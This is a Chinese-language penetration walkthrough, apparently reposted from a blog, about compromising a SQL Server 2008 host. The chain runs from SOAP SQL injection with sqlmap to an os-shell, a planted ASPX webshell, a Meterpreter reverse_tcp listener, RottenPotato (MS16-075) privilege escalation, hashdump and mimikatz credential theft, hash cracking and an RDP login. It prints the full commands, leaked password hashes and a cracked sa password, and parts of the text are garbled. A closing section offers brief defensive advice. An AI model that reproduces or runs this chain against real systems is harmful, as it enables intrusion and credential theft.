首頁  >  文章  >  運維  >  soap注入某sql2008伺服器結合msf如何進行提權

soap注入某sql2008伺服器結合msf如何進行提權

PHPz
PHPz轉載
2023-05-11 21:25:041796瀏覽

在實際成功滲透過程中,漏洞的利用都是多個技術的融合,最新技術的實踐,本次滲透利用sqlmap來確認注入點,透過sqlmap來獲取webshel​​l,結合msf來進行ms16-075的提權,最終取得了目標伺服器的系統權限。本文算是漏洞利用的一個新的拓展,在常規Nday提權不成功的情況下,結合msf進行ms16-075成功提權的一個經典案例。

1.1.1掃描soap注入漏洞

    1.使用awvs中的web services scanner進行漏洞掃描   開啟awvs,選擇web services scanner進行漏洞掃描,如圖1所示,在wsdl url中填寫目標url位址,注意一定是asmx?wsdl,有的是有asmx文件,如果沒有則可以直接填寫,例如:http://1**.***.***. ***:8081/?wsdl。


soap注入某sql2008伺服器結合msf如何進行提權

圖1進行soap注入漏洞掃描

2.處理sql盲注    

#    透過awvs掃描,確認該url位址存在sql盲注(26處),在awvs中,點擊右邊的“view http headers”,將其內容複製到一個文字檔案中,同時處理存在漏洞的語句,在本例中例如:

soap注入某sql2008伺服器結合msf如何進行提權
需要將紅色字圖部分更換為”-1*」。

3.完整的header套件內容如下:

POST /Service1.asmx HTTP/1.1

Content-Type: text/xml

#SOAPAction : "http://tempuri.org/ZcpdList"

Content-Length: 716

X-Requested-With: XMLHttpRequest

#Referer: http://1* *.***.***.***:8081/?wsdl

Host: 1**.***.***.***:8081

Connection : Keep-alive

Accept-Encoding: gzip,deflate

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0. 2228.0 Safari/537.21

Accept: */*

     

     < ;SOAP-ENV:Body>

       

           < urn :string>

           

       

 

Response

1.1.2確認soap注入漏洞

    1.使用sqlmap偵測是否有sql注入漏洞   將前面的header中的內容儲存為1**.***.***.***.txt,將該檔案複製到sqlmap.py程式所在目錄,執行指令:sqlmap.py -r 1**.***. ***.***.txt,對sqlmap提示的資訊進行確認:

custom injection marker ('*') found in option '--data'. Do you want to process it ? [Y/n/q] [color=Red]y[/color]

SOAP/XML data found in POST data. Do you want to process it? [Y/n/q][color= Red]y[/color]

如圖2所示,sqlmap確認此sql注入漏洞存在,且此資料庫伺服器為windows 2008 R2,資料庫版本為sql server 2008,soap存在漏洞為union查詢。

圖2 存在soap注入漏洞
soap注入某sql2008伺服器結合msf如何進行提權2.查看資料庫是否dba權限(1)自動提交參數進行測試如圖3所示,執行指令:sqlmap.py -r 1**.***.***.***.txt --is-dba --batch後,也要兩次確認y,由於使用了參數“batch”,sqlmap會自動進行提交判斷值。

圖3自動提交參數進行判斷

soap注入某sql2008伺服器結合msf如何進行提權(2)取得目前資料庫使用的使用者是dba帳號。    如圖4所示,在sqlmap中取得目前使用者是dba,顯示結果為true。此結果顯示資料庫是使用sa權限,可以透過os-shell參數來取得webshel​​l。

圖4判斷是否為dba帳號

3.取得sa帳號密碼

   如圖5所示,使用指令sqlmap.py -r 1**.***.***.***.txt --password -- batch直接取得該資料庫連線的所有帳號對應的密碼值:


soap注入某sql2008伺服器結合msf如何進行提權

#圖5取得sa帳號密碼

#4.破解sa帳號密碼   成功在前面透過sqlmap成功取得其資料庫密碼雜湊值:

##MS_PolicyEventProcessingLogin## [1]:

   password hash: 0x01001a7b0c5b5b347506a67fffp ecutionLogin## [1]:

   password hash: 0x01006c6443e1e42ca27773d413042ee8af2eea9026d44c8d4d1c sa [1]:

password hash: 0x90001c 85076b 5d2de6297e28  將sa對應的密碼值「0x0100b7b90b706f339288fb0ab4c8a099c4de53045d2de6297e28」在www.cmd5.com進行查詢,如圖6所示,其解密結果為「qaz123WSX」。

soap注入某sql2008伺服器結合msf如何進行提權

圖6解密sa密碼雜湊值

#1.1.3透過--os-shell取得webshel​​l1.取得os-shell在sqlmap中執行指令:sqlmap.py -r 1**.***.***.***.txt --os-shell,在sqlmap執行視窗中確認訊息:


soap注入某sql2008伺服器結合msf如何進行提權

   也可以執行sqlmap.py -r 1**.***.***.***.txt --os-shell --batch指令不用手動輸入。

2.尋找web程式所在目錄

(1)查看文件及目錄

  執行dir c:\指令後,可以查看c目錄及文件,繼續查看“ dir c:\inetpub\wwwroot」如圖7所示,在該資料夾中無web程序,排除該目錄。

soap注入某sql2008伺服器結合msf如何進行提權

圖7檢視檔案及目錄

(2)取得網站真實目錄   依序檢視c、d、e、f盤,在e盤取得疑似網站程式文件,使用指令進行檢視dir e:\software\AMS_NoFlow,如圖8所示。

soap注入某sql2008伺服器結合msf如何進行提權

圖8查看網站檔案

3.測試網站真實目錄

(1)產生檔案測試如圖9所示,使用echo指令:echo "thisis test">e:\software\AMS_NoFlow\t.txt,在網站根目錄下產生t.txt檔案。內容為thisis test。

soap注入某sql2008伺服器結合msf如何進行提權

圖9產生檔案

(2)網站存取測試

   在瀏覽器中輸入位址http:// 1**.***.***.***/1.txt進行測試,如圖10所示,取得內容與預期一致,目錄為網站真實實體位址。

soap注入某sql2008伺服器結合msf如何進行提權

圖10網站存取測試

4. 取得web.config設定檔內容   

在os- shell中,執行type e:\software\AMS_NoFlow\web.config指令查看web.config檔中的內容,在sqlmap指令視窗由於設定問題,可能無法查看其完整的內容,不過sqlmap在其output目錄下,會保持詳細情況,如圖11所示,開啟其log文件,可以看到其sa帳號對應的密碼為qaz123WSX,跟前面破解的sa密碼一致。

soap注入某sql2008伺服器結合msf如何進行提權

圖11查看web.config設定檔內容

5.取得ip位址資訊   

如圖12所示,在os-shell中執行ipconfig指令,即可取得該目標的IP位址設定情況,該目標對外配置獨立外網IP和內網IP位址,在os-shell中還可以執行其它指令。

soap注入某sql2008伺服器結合msf如何進行提權

圖12取得IP位址

6. 取得webshel​​l測試

(1)產生shell檔案

  在os-shell中執行指令:

echo ^^ > e:\software\AMS_NoFlow\cmd.aspx

如圖13所示,回顯結果顯示1,無其它訊息,表面產生檔案指令成功。


soap注入某sql2008伺服器結合msf如何進行提權

圖13 產生webshel​​l

(2)取得webshel​​l    使用中國菜刀後門管理工具,建立記錄http://1**.***.***.***/cmd.aspx,一句話後門密碼:pass,如圖14所示,連線成功,成功取得webshel​​l。


soap注入某sql2008伺服器結合msf如何進行提權

圖14取得webshel​​l

1.1.4常規方法提權失敗

1.產生系統訊息檔案  在os-shell中執行指令:

soap注入某sql2008伺服器結合msf如何進行提權

2.下載Windows-Exploit-Suggester程式Windows-Exploit-Suggester下載位址:https://github. com/GDSSecurity/Windows-Exploit-Suggester/

3.更新漏洞庫並進行漏洞比對   在python中執行windows-exploit-suggester.py -u進行更新,同時對漏洞庫進行比對: windows-exploit-suggester.py  --audit -l --database 2018-06-04-mssb.xls --systeminfo SYD1-0081DSB.txt > SYD1-0081DSB-day.txt,如圖15所示。


soap注入某sql2008伺服器結合msf如何進行提權

圖15進行漏洞比對

4.查看漏洞   在C:\Python27目錄開啟SYD1-0081DSB-day .txt文件,如圖16所示,可以看到程式判斷該作業系統為windows 2008 R2版本,且存在多個漏洞,最新漏洞為ms16-075。


soap注入某sql2008伺服器結合msf如何進行提權

圖16查看漏洞情況

#5.對存在的漏洞進行提權測試   依照漏洞編號,找出並整理exp文件,在目標伺服器上進行提權測試,除ms16-075exp外,測試均失敗,無法提權。

1.1.5借助msf進行ms16-075提權

1.使用msf產生反彈木馬

在msf下面執行指令:


soap注入某sql2008伺服器結合msf如何進行提權

#其中windows/meterpreter/reverse_tcp反彈連接埠類型,lhost是反彈連接的伺服器Ip位址,注意該ip位址必須是獨立伺服器,或者必須是外網連接埠映射,換句話說,就是反彈必須能夠接收,lport為反彈的端口,4433為產生的程式。

2.在監聽伺服器上執行監聽指令

(1)啟動msf

msfconsole

(2)設定meterpreter參數


soap注入某sql2008伺服器結合msf如何進行提權

#3.上傳4433.exe程式到目標伺服器及執行

   將4433.exe檔上傳到目標伺服器,並透過中國彩刀或者os-shell進行執行。

4.檢視系統資訊

   如圖17所示,目標反彈到監聽伺服器上,執行sysinfo,取得其係統資訊。

soap注入某sql2008伺服器結合msf如何進行提權

圖17取得系統資訊

5.使用meterpreter自帶提權功能失敗

   在meterpreter分別執行getuid和getsystem指令,如圖18所示,未能成功提權。


soap注入某sql2008伺服器結合msf如何進行提權

圖18使用預設meterpreter提權失敗

6.使用ms16-075進行提權

# (1)ms16-075可利用exp下載https://github.com/foxglovesec/RottenPotato

(2)上傳potato檔案

   透過webshel​​l上傳potato.exe文件,或在msf下方執行指令上傳:upload  /root/potato.exe

#(3)取得系統權限  依序執行下列指令:


soap注入某sql2008伺服器結合msf如何進行提權

soap注入某sql2008伺服器結合msf如何進行提權


soap注入某sql2008伺服器結合msf如何進行提權


soap注入某sql2008伺服器結合msf如何進行提權#如圖19所示,成功取得系統權限。


圖19取得系統權限tokens

(4)取得系統權限分別執行指令:########## ###########如圖20所示,成功取得系統權限。 #####################圖20取得系統權限#########(5)取得密碼  #######

在meterpreter下執行指令:run hashdump指令,如圖21所示,成功取得此伺服器密碼雜湊值:Administrator:500:aad3b435b51404eeaad3b435b51404ee:a59a64a645487c1581de6032020

圖21取得密碼   soap注入某sql2008伺服器結合msf如何進行提權

在本例中還是用load mimikatz進行明文密碼獲取,但取得效果不理想,執行指令:kerberos、livessp、msv、ssp、tspkg 、wdigest取得不到明文密碼,也可以執行指令mimikatz_command,進入mimikatz指令提示字元下進行操作。


(6)破解ntml密碼  將ntml密碼雜湊值a59a64a645487c1581dea603253c7920複製到cmd5.com破解, cmd5需要付費,還可以到:http://www.objectif-seciteite. en/ophcrack.php及https://www.somd5.com/網站 進行密碼破解,如圖22所示,成功破解密碼。



圖22破解ntlm雜湊值soap注入某sql2008伺服器結合msf如何進行提權
7.登入伺服器   透過nmap -sS -Pn -A 1**. ***.***.***或masscan -p 1-65535 1**.***.***.***進行端口掃描,發現該伺服器開放3389端口,使用mstsc進行登錄,如圖23所示,成功登入該伺服器。


圖23成功登入伺服器soap注入某sql2008伺服器結合msf如何進行提權
1.1.6總結與防禦

1.本滲透主要指令匯總

(1)sqlmap執行指令


#(2)os-shell下執行指令soap注入某sql2008伺服器結合msf如何進行提權

ipconfigdir c:/echo "thisis test">e:\software\AMS_NoFlow\t.txtecho ^^ > e:\software\AMS_NoFlow\cmd.aspx

(3)msf下執行指令產生反彈木馬:

(4)msf啟動及監聽

soap注入某sql2008伺服器結合msf如何進行提權

msfconsoleuse exploit/multi/handlerset PAYLOAD windows/meterpreter/reverse_tcpset LHOST 192.168.1.33(實際為外網位址) set LPORT 4433exploit

(5)ms16-075提權指令

use incognitolist_tokens -uexecute -cH -f ./potato.exelist_tokens -u impersonate_tokenITY "NT AUTHORITY\ \SYSTEM"getuid

(6)取得密碼run hashdump

(7)mimikatz進行密碼取得


load mimikatzkerberos、livessp、 msv、ssp、tspkg、wdigest(逐個指令測試,有的會顯示明文密碼)mimikatz_command:mimikatz指令提示視窗


(8)mimikatz命令列下取得密碼(未做測試)

2.滲透總結  

soap注入某sql2008伺服器結合msf如何進行提權

在本滲透中,透過sqlmap進行soap注入測試,透過sqlmap判斷sql注入點可用,後續透過os-shell成功獲取了webshel​​l。取得webshel​​l後,嘗試透過常規的Nday提權方法,結果失敗,後續透過msf配合進行ms16-075進行提權。 Windows-Exploit-Suggester進行本地漏洞的判斷和測試效果還是可以的,透過其審計,使用最新漏洞進行提權,基本命中率在99%。


3.安全防禦   

成功滲透該伺服器後,在該伺服器上未發現有任何安全防護軟體,筆者根據經驗,建議做以下安全防禦:


(1)對soap參數進行過濾,過濾危險的一些導致sql注入的參數。

(2)mssql資料庫使用低權限使用者進行資料庫連線。


(3)伺服器定期進行修補程式更新升級。


(4)安裝防毒軟體、waf及硬體防火牆,增加攻擊成本與難度

以上是soap注入某sql2008伺服器結合msf如何進行提權的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文轉載於:yisu.com。如有侵權,請聯絡admin@php.cn刪除